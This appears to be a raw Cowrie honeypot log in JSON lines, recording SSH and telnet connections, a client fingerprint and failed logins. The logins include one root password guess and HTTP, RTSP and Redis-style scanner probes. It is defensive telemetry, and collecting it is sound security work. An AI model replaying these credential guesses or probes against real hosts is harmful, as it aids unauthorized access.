{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:44.739998Z","src_ip":"190.6.32.107","session":"f0d0d13db385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@4321","message":"login attempt [root/Root@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:44.994538Z","src_ip":"190.6.32.107","session":"f0d0d13db385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:46.054823Z","src_ip":"190.6.32.107","session":"f0d0d13db385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50086,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3dc1174487f","protocol":"telnet","message":"New connection: 69.4.83.194:50086 (159.203.135.109:23) [session: d3dc1174487f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:14:53.142262Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55064,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49466edc860","protocol":"telnet","message":"New connection: 69.4.83.194:55064 (159.203.135.109:23) [session: c49466edc860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:06.229366Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55228,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda0142a214a","protocol":"telnet","message":"New connection: 69.4.83.194:55228 (159.203.135.109:23) [session: eda0142a214a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:07.649522Z"}
{"eventid":"cowrie.session.closed","duration":32.7337589263916,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:12.175858Z","src_ip":"69.4.83.194","session":"3094f6fdb91d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28540253639221,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:27.427562Z","src_ip":"69.4.83.194","session":"d3dc1174487f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44980025291443,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:39.679014Z","src_ip":"69.4.83.194","session":"c49466edc860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.019845962524414,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:40.669237Z","src_ip":"69.4.83.194","session":"eda0142a214a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":34978,"dst_ip":"159.203.135.109","dst_port":23,"session":"eef0f77dea04","protocol":"telnet","message":"New connection: 34.62.43.5:34978 (159.203.135.109:23) [session: eef0f77dea04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:47.167870Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":34994,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f2b8780857","protocol":"telnet","message":"New connection: 34.62.43.5:34994 (159.203.135.109:23) [session: 39f2b8780857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:47.323289Z"}
{"eventid":"cowrie.session.closed","duration":0.005980253219604492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:47.329151Z","src_ip":"34.62.43.5","session":"39f2b8780857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":35002,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2baa4f772d","protocol":"telnet","message":"New connection: 34.62.43.5:35002 (159.203.135.109:23) [session: 3a2baa4f772d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:47.479911Z"}
{"eventid":"cowrie.session.closed","duration":2.3738954067230225,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:15:49.541596Z","src_ip":"34.62.43.5","session":"eef0f77dea04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47578,"dst_ip":"159.203.135.109","dst_port":23,"session":"570c23ac5f9a","protocol":"telnet","message":"New connection: 69.4.83.194:47578 (159.203.135.109:23) [session: 570c23ac5f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:04.563739Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":59108,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1db4895f223","protocol":"telnet","message":"New connection: 34.62.43.5:59108 (159.203.135.109:23) [session: f1db4895f223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:06.636339Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:06.649137Z","src_ip":"34.62.43.5","session":"f1db4895f223","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:06.653686Z","src_ip":"34.62.43.5","session":"f1db4895f223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09677839279174805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:06.733213Z","src_ip":"34.62.43.5","session":"f1db4895f223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":59116,"dst_ip":"159.203.135.109","dst_port":23,"session":"8412cf92872a","protocol":"telnet","message":"New connection: 34.62.43.5:59116 (159.203.135.109:23) [session: 8412cf92872a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:06.809300Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29090,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b1e7b588568","protocol":"telnet","message":"New connection: 34.62.43.5:29090 (159.203.135.109:23) [session: 8b1e7b588568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:06.966206Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29092,"dst_ip":"159.203.135.109","dst_port":23,"session":"8361ab3d7619","protocol":"telnet","message":"New connection: 34.62.43.5:29092 (159.203.135.109:23) [session: 8361ab3d7619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:07.121408Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29100,"dst_ip":"159.203.135.109","dst_port":23,"session":"f81dbcc8375f","protocol":"telnet","message":"New connection: 34.62.43.5:29100 (159.203.135.109:23) [session: f81dbcc8375f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:07.276469Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29106,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9b7e30d300","protocol":"telnet","message":"New connection: 34.62.43.5:29106 (159.203.135.109:23) [session: 8e9b7e30d300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:07.430501Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29114,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c685ce6c03","protocol":"telnet","message":"New connection: 34.62.43.5:29114 (159.203.135.109:23) [session: 17c685ce6c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:07.586346Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29126,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c7d0695397f","protocol":"telnet","message":"New connection: 34.62.43.5:29126 (159.203.135.109:23) [session: 6c7d0695397f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:07.742295Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29136,"dst_ip":"159.203.135.109","dst_port":23,"session":"958e47d0707d","protocol":"telnet","message":"New connection: 34.62.43.5:29136 (159.203.135.109:23) [session: 958e47d0707d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:07.904717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29150,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a6b3817f17b","protocol":"telnet","message":"New connection: 34.62.43.5:29150 (159.203.135.109:23) [session: 0a6b3817f17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.059978Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29154,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c9826ad62c9","protocol":"telnet","message":"New connection: 34.62.43.5:29154 (159.203.135.109:23) [session: 8c9826ad62c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.289667Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29164,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c3a7fa7ca66","protocol":"telnet","message":"New connection: 34.62.43.5:29164 (159.203.135.109:23) [session: 6c3a7fa7ca66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.445401Z"}
{"eventid":"cowrie.session.closed","duration":0.005357027053833008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.450649Z","src_ip":"34.62.43.5","session":"6c3a7fa7ca66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29178,"dst_ip":"159.203.135.109","dst_port":23,"session":"66c54e669d4f","protocol":"telnet","message":"New connection: 34.62.43.5:29178 (159.203.135.109:23) [session: 66c54e669d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.604087Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29180,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c84d9ae36a","protocol":"telnet","message":"New connection: 34.62.43.5:29180 (159.203.135.109:23) [session: d2c84d9ae36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.759316Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29182,"dst_ip":"159.203.135.109","dst_port":23,"session":"6331215e2bcd","protocol":"telnet","message":"New connection: 34.62.43.5:29182 (159.203.135.109:23) [session: 6331215e2bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:08.914582Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29188,"dst_ip":"159.203.135.109","dst_port":23,"session":"e591f440565e","protocol":"telnet","message":"New connection: 34.62.43.5:29188 (159.203.135.109:23) [session: e591f440565e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.070233Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29192,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b70af9f470","protocol":"telnet","message":"New connection: 34.62.43.5:29192 (159.203.135.109:23) [session: f4b70af9f470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.228779Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29200,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee867e6dd0bf","protocol":"telnet","message":"New connection: 34.62.43.5:29200 (159.203.135.109:23) [session: ee867e6dd0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.383558Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29206,"dst_ip":"159.203.135.109","dst_port":23,"session":"912d644a6480","protocol":"telnet","message":"New connection: 34.62.43.5:29206 (159.203.135.109:23) [session: 912d644a6480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.539160Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29218,"dst_ip":"159.203.135.109","dst_port":23,"session":"36383ec31151","protocol":"telnet","message":"New connection: 34.62.43.5:29218 (159.203.135.109:23) [session: 36383ec31151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.695210Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29232,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c473b380d8","protocol":"telnet","message":"New connection: 34.62.43.5:29232 (159.203.135.109:23) [session: b2c473b380d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.852348Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:09.858337Z","src_ip":"34.62.43.5","session":"b2c473b380d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29234,"dst_ip":"159.203.135.109","dst_port":23,"session":"e009f1b6f39e","protocol":"telnet","message":"New connection: 34.62.43.5:29234 (159.203.135.109:23) [session: e009f1b6f39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.013403Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29246,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ee11da85cee","protocol":"telnet","message":"New connection: 34.62.43.5:29246 (159.203.135.109:23) [session: 0ee11da85cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.168709Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29252,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b295753c1a0","protocol":"telnet","message":"New connection: 34.62.43.5:29252 (159.203.135.109:23) [session: 8b295753c1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.325402Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29254,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0401de11d1f","protocol":"telnet","message":"New connection: 34.62.43.5:29254 (159.203.135.109:23) [session: b0401de11d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.489570Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29256,"dst_ip":"159.203.135.109","dst_port":23,"session":"7adadf21b17f","protocol":"telnet","message":"New connection: 34.62.43.5:29256 (159.203.135.109:23) [session: 7adadf21b17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.647471Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29264,"dst_ip":"159.203.135.109","dst_port":23,"session":"86d2b7896e0a","protocol":"telnet","message":"New connection: 34.62.43.5:29264 (159.203.135.109:23) [session: 86d2b7896e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.802185Z"}
{"eventid":"cowrie.session.closed","duration":0.005695343017578125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.807747Z","src_ip":"34.62.43.5","session":"86d2b7896e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29280,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b2cc45ae7d","protocol":"telnet","message":"New connection: 34.62.43.5:29280 (159.203.135.109:23) [session: d6b2cc45ae7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:10.957436Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0493d51825","protocol":"telnet","message":"New connection: 34.62.43.5:29288 (159.203.135.109:23) [session: ea0493d51825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:11.112523Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 2793","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 2793] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:11.118304Z","src_ip":"34.62.43.5","session":"ea0493d51825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50744,"dst_ip":"159.203.135.109","dst_port":23,"session":"46bf63bddd4a","protocol":"telnet","message":"New connection: 69.4.83.194:50744 (159.203.135.109:23) [session: 46bf63bddd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:11.206071Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.43.5","src_port":29290,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e8d0e50aeb","protocol":"telnet","message":"New connection: 34.62.43.5:29290 (159.203.135.109:23) [session: 54e8d0e50aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:11.272432Z"}
{"eventid":"cowrie.session.closed","duration":0.005166769027709961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:11.277507Z","src_ip":"34.62.43.5","session":"54e8d0e50aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.387959480285645,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.196931Z","src_ip":"34.62.43.5","session":"8412cf92872a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.733463764190674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.213298Z","src_ip":"34.62.43.5","session":"3a2baa4f772d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.14381217956543,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.256233Z","src_ip":"34.62.43.5","session":"ea0493d51825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.305270433425903,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.262224Z","src_ip":"34.62.43.5","session":"d6b2cc45ae7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.618452310562134,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.265797Z","src_ip":"34.62.43.5","session":"7adadf21b17f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.781226634979248,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.270637Z","src_ip":"34.62.43.5","session":"b0401de11d1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.952516794204712,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.277775Z","src_ip":"34.62.43.5","session":"8b295753c1a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.112925291061401,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.281493Z","src_ip":"34.62.43.5","session":"0ee11da85cee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.273548603057861,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.286824Z","src_ip":"34.62.43.5","session":"e009f1b6f39e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.438691139221191,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.290884Z","src_ip":"34.62.43.5","session":"b2c473b380d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.599215745925903,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.294309Z","src_ip":"34.62.43.5","session":"36383ec31151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.758439540863037,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.297471Z","src_ip":"34.62.43.5","session":"912d644a6480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.917362689971924,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.300786Z","src_ip":"34.62.43.5","session":"ee867e6dd0bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.07582712173462,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.304495Z","src_ip":"34.62.43.5","session":"f4b70af9f470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.24534821510315,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.315466Z","src_ip":"34.62.43.5","session":"e591f440565e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.406020164489746,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.320495Z","src_ip":"34.62.43.5","session":"6331215e2bcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.581487655639648,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.323626Z","src_ip":"34.62.43.5","session":"6c7d0695397f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.567450046539307,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.326616Z","src_ip":"34.62.43.5","session":"d2c84d9ae36a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.724751472473145,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.328696Z","src_ip":"34.62.43.5","session":"66c54e669d4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.041452884674072,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.331023Z","src_ip":"34.62.43.5","session":"8c9826ad62c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.27414584159851,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:16:21.333984Z","src_ip":"34.62.43.5","session":"0a6b3817f17b","protocol":"telnet"}
